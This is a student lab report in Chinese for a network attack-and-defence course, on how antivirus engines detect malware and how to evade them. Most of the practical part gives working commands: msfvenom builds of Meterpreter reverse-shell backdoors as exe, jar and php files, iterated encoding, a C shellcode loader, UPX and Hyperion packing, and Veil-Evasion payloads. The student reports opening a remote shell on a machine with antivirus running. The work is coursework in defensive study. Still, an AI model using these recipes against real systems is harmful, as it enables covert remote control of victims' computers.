2019-2020-4 网络对抗技术 20174322 Exp3 免杀原理与实践
目录
- 免杀原理及基础问题回答
- 免杀原理
- 基础问题回答
- 实验内容
- 实验中遇到的问题
- 实验感想
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
- 优点:检测效率高、能精确检测恶意软件类型和具体名称。
- 缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。
- 启发式恶意软件检测
- 根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 优点:可以检测0-day恶意软件;具有一定通用性
- 缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
- 基于行为的恶意软件检测
- 基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
- 优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
- 缺点:可能误报、不能识别病毒名称、实现时有一定难度。
(2)免杀是做什么?
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。免于被杀毒软件拦截,达到实现入侵的目的。
(3)免杀的基本方法有哪些?
- 改变特征码(改变机器指令)
- 有EXE——加壳:压缩壳、加密壳
- 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
- 有源代码——用其他语言进行重写再编译(veil-evasion)
- 改变通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 改变操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
-
非常规免杀方法:使用社工类攻击、纯手工打造一个恶意软件。
- 趁电脑拥有者不注意时安装恶意软件并且赋予权限,比如维修电脑时,电脑修理员就有可能(一般不会,需要甄别)进行恶意操作等等。
实验内容
任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法
1、 免杀检测
- 在实验二中使用msf生成了后门程序,可以使用!VirusTotal或这两个网站对生成的后门程序进行扫描。
- 用VirusTotal扫描后结果如下:72款杀软中58款报出了病毒,不加处理的后门程序能被大部分的杀软检测到
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。
2、 正确使用msf编码器,生成exe文件
- 编码后呢,按理论上讲,编码会降低检出率,理论上讲编码次数越多,越有可能检测不出来。
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.1.5 LPORT=4322 -f exe > met-encoded.exe
- 十次编码使用命令:-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.1.5 LPORT=4322 -f exe > met-encoded10.exe
- msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀。
- 下面第六步使用嵌入式shellcode,手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率
msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4322 x > 4322_backdoor_java.jar
- 生成文件如图所示
msfvenom生成php文件
- 生成php后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4322 x> 20174322_attackdoor.php
- 生成文件如图所示
- 使用VirusTotal扫描结果如下,这个明显就不同意被检查出来
使用veil-evasion生成后门程序及检测
- 用sudo apt-get install veil-evasion命令安装Veil,需要超级耐心,下载过程比较慢,而且会出现各种各样的问题
- 安装成狗后输入veil指令,进入如下个界面
- 用use evasion命令进入Evil-Evasion
- 输入命令use c/meterpreter/rev_tcp.py进入配置界面
- 设置反弹连接IP,命令为:set LHOST 192.168.62.22,注意此处的IP是虚拟机Kali的IP;
- 设置端口,命令为:set LPORT 4322
- 输入generate生成文件,接着输入你想要playload的名字:veil_c_4322,这里随便输只要后面自己能找到就行
- 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_c_4322.exe
- 果然还是会被检查出来
注入Shellcode并执行(嵌入式Shellcode)
- 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.22
LPORT=4322 -f c
用c语言生成一段shellcode;
- 创建一个文件20174322.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] = "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30" ……………… "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5"; int main() { int (*func)() = (int(*)())buf; func(); }
- 使用命令:i686-w64-mingw32-g++ 20174322.c -o 20174322.exe编译这个.c文件为可执行文件
(这个命令我还没有碰到不能用的,如果不可以的话参考上面的博客分享)
- 依旧可被发现
- 使用VirusTotal检测出很多问题
- 打开msfconsole,再在本机上打开20174322.exe,此时发现无法连接(但是在下面加壳过后就可以连接上了)
后门程序加壳
专门实现这样功能的加壳程序如 MESS 、CRACKSTOP、HACKSTOP、TRAP、UPS 等等
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
- 使用压缩壳(UPX)——减少应用体积,如ASPack,UPX
- 使用命令upx 20174322.exe -o 20174322.exe给之前的20174322.exe加个壳得到hy_upxed.exe:
- 使用命令upx 20174322.exe -o 20174322.exe给之前的20174322.exe加个壳得到hy_upxed.exe:
- 依旧会被windefence发现问题
- 设置权限,尝试连接,查看连接情况,可以反弹连接,获取可用shell
- 加密壳Hyperion——版权保护,反跟踪,如ASProtect,Armadillo
- 由于下一步是使用其他方法进行面杀,所以就直接把加压缩壳后的文件直接再加加密壳。
如果编译命令不能用或者显示没有Hyperion,可参考:【渗透测试】在Kali中使用mingw-w64编译Hyperion(包括旧的常用的1.x版本和最新的2.2版本)
-
- 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
- 进入目录/usr/share/windows-binaries/hyperion/中
- 输入命令wine hyperion.exe -v hy_upxed.exe hy_upxed_Hyperion.exe
- 进行加壳:
- 生成文件会自动保存在如下目录内
- 可以到对应目录看到生成的文件
还是被windefence发现了。
- 加密是一种能够有效反击反病毒软件静态扫描功能的方法用msfvenom生成使用一个
- 使用Veil-Evasion的其他载荷生成后门
输入命令veil启动, 用use evasion命令进入Evil-Evasion
输入list查看其他可用的有效荷载
[*] Available Payloads: 1) autoit/shellcode_inject/flat.py 2) auxiliary/coldwar_wrapper.py 3) auxiliary/macro_converter.py 4) auxiliary/pyinstaller_wrapper.py
………………
34) python/shellcode_inject/letter_substitution.py 35) python/shellcode_inject/pidinject.py 36) python/shellcode_inject/stallion.py 37) ruby/meterpreter/rev_http.py 38) ruby/meterpreter/rev_https.py 39) ruby/meterpreter/rev_tcp.py 40) ruby/shellcode_inject/base64.py 41) ruby/shellcode_inject/flat.py
这里我用use 13 选择第13个选项。
然后选择第4项,填充shellcode的样式。
- 这里其他几项的意思是
1.Ordnance(default),使用veil的Ordnance默认地方式生成shellcode 2.MSFVenom,使用MSFVenom匹配的shellcode 3.Custom shellcode string,加入自己的shellcode 4.File with shellcode (x41x42),shellcode的文本文件。 5.Binary File with shellcode,shellcode的二进制文件
- 在设置shellcode 的路径的时候,按下回车让他选择默认,输入IP地址和端口号,回车确认
- 成功完成以上编译后,编译后的文件被保存在/var/lib/veil/output/compiled/cs_Veil_4322.exe下
- 同时新生成的 shellcode 的 rc 文件也被保存在了 /var/lib/veil/output/handlers/cs_Veil_4322.rc下!既然有了rc文件,那么我们就可以方便的利用MSF 行调用了
- 进入该文件目录下cd /var/lib/veil/output/handlers/
- 使用命令msfconsole -r Veil_4322.rc
- 他就自动输入反弹连接端口和IP地址
- 在主机运行该exe程序,kali立马监测到连接建立。输入sessions -i发现ID为3的连接建立
- 运行sessions -i 3与ID为3的连接会话获取靶机的shell
任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 嵌入式Shellcode
- 手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率
- 使用msf生成一段shellcode
- 再将其写入shellcode中
- 结合压缩壳达到了初步免杀的目的
- 获取主机shell
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在,这里选的第31个python语言的
设置反弹连接IP地址和端口
生成可执行文件和监听文件
放到网站上检测没有发现木马程序
运行监听程序后执行文件获取主机shell
因为不知道会不会因为之前做实验时对一些检测出的文件加入白名单,所以我更换了名称,这样如果他被系统检测出是木马病毒应该还会报错和拦截,所以这样保证了让我知道自己的病毒软件有没有被发现。
一、安装veil时提示error:
-
step1:apt-get install veil
-
step2:使用命令
cd /usr/share/veil/config/
进入该文件夹,使用ls
查看该文件夹的内容(这里可用图形界面找到相应文件,打开它,修改对应代码) -
step3:使用命令
vim setup.sh
编辑文件,第251行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
-
step4:命令行输入
veil
,所有安装默认 -
step5:安装过程有问题默认就ok,安装结束后输入veil,我就弄好了veil
还不行的话试试这个:
- git clone https://github.com/Veil-Framework/Veil-Evasion.git
- cd Veil-Evasion/
- cd setup
- setup.sh -c
都不行的话自己再搜搜吧,我看到有人拷贝虚拟机才成功做实验,兄弟加油。
二、关于hyperion.exe无法找到的问题
-
如果编译命令不能用或者显示没有Hyperion.exe,可参考:【渗透测试】在Kali中使用mingw-w64编译Hyperion(包括旧的常用的1.x版本和最新的2.2版本)
-
在解压后的文件夹中进行相应的配置,将生成的压缩壳文件copy到目录下进行压缩壳的操作即可。
- 在kali主系统目录里找到相应文件修改gcc等设置
上图博客中这个“makefile文件”是在你下载hyperion文件的主目录下的,找到到下载的地址就能看到这个可编写的文件,
在里面把第一行修改下就行
三、找不到合适的payload避过杀毒软件
在任务三我尝试了很多payload,希望找到一个能躲避杀毒软件的有效载荷,我看到有同学用MSF生成简单的shellcode然后对她使用“压缩壳”命令和技术,就能简单的绕过av病毒特征识别码库。我就不断尝试veil自带各种语言编写的载荷。
我每次生成后都希望对它使用”加密壳“免杀,但正是因为加密壳的代码被识别出来,才躲不过杀毒软件。
在本次实验中,完成了相应的实验任务,浅显的感受了木马程序的制作过程,在对木马程序免杀的学习过程中,我比较感兴趣的杀毒方式是行为杀毒。
行为杀毒工具是分析应用程序的行为,并拦截可能危险活动的行为。他屏蔽了病毒程序的编写语言不同、攻击类型不同等,它监督的是程序的行为,它监控系统中各式各样的事件。如果应用程序有危险的动作,行为杀毒模块会提醒用户,指出这种行为的危险性并同时拦截等用户处理。它不再需要特征码查杀所需的特征病毒库,能够有效检测出具有危险行为的应用程序进行拦截,能更加有效地发现新病毒。但对于程序行为到什么程度算危险什么程度算安全,需要深入考虑,这个危险标准高了,会频繁拦截一些应用程序,会影响用户体验,这个危险标准低了,就有可能威胁系统安全。
在实验中我感受到病毒和杀毒软件的相生相克,在以前有老师讲过没有病毒就没有杀毒软件,在网络和电脑系统的世界里,没有入侵就不需要防御,但很显然,就算我们不主动入侵,我们也需要防御,而且学习过程中我明白一种开放端口达到入侵的方式有千千万万种病毒代码和程序,所谓道高一尺魔高一丈,防御手段的不断更新和升级就显得十分重要,面对中国的网络空间和各重要企业机构服务器安全,我感到深深担忧,阿里一天遭受3亿次网络攻击现在看来真不是危言耸听。(要不要我们也入侵他们的,让他们失去入侵我们的能力(可怕的猜疑链))